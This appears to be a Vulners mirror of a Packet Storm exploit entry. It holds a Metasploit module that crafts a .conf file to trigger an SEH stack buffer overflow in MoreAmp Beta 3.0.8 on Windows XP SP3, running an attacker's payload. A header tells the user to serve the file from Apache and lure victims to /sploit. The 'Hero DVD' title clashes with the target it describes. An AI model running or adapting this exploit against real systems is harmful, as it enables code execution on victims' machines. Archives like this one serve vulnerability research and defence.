Lucene search
+L

Hero DVD Buffer Overflow

🗓️ 20 Jul 2010 00:00:00Reported by MadjiXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Exploiting stack overflow in MoreAmp Beta 3.0.8 to execute arbitrary code

Code
`##################################################################  
# _ #  
# .-----.--.--.--.----.----.-| |___ #  
# | _ | | | | | -__| _ | #  
# | __|________|__|__|_____|_____| #  
# |__| By MadjiX #  
# Sec4ever.com #  
##################################################################  
# Note: Use Backtrack! place httpd.conf in /etc/apache2/ and start apache  
# Have Someone Connect to your Server /sploit  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Hero DVD Remote Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack overflow in 3.0.8 MoreAmp Beta  
By creating a specially crafted .conf file, an an attacker may be able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MadjiX <Dz8@HotmaiL[DoT]CoM>',  
'Version' => 'Version 1',  
'References' =>  
[  
[ 'OSVDB', 'N/A' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/14257/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3', { 'Ret' => 0x58324879} ], # 0x58324879 from msg723.acm   
],  
'Privileged' => false,  
'DisclosureDate' => '19-07-2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),  
], self.class)  
end  
  
  
def exploit  
  
sploit = "Redirect permanent /sploit http://"  
sploit << rand_text_alphanumeric(128)  
sploit << [target.ret].pack('V')  
sploit << "B" * 24  
sploit << payload.encoded  
  
maffile = sploit  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(maffile)  
  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jul 2010 00:00Current
0.9Low risk
Vulners AI Score0.9
30